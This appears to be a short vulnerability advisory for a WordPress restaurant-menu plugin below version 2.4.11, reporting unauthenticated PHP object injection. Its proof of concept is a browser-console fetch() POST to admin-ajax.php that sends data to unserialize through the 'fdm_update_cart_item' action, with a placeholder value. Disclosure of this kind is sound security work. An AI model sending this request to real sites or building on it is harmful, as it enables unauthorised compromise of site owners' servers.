Five Star Restaurant Menu and Food Ordering < 2.4.11 - Unauthenticated PHP Object Injection

Proof of Concept

Run the below command in the developer console of the web browser while being on the blog unauthenticated

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded"
  },
  "body": new URLSearchParams({"action": "fdm_update_cart_item", "options": "data-to-unserialize"}),
  "method": "POST",
  "credentials": "include"
});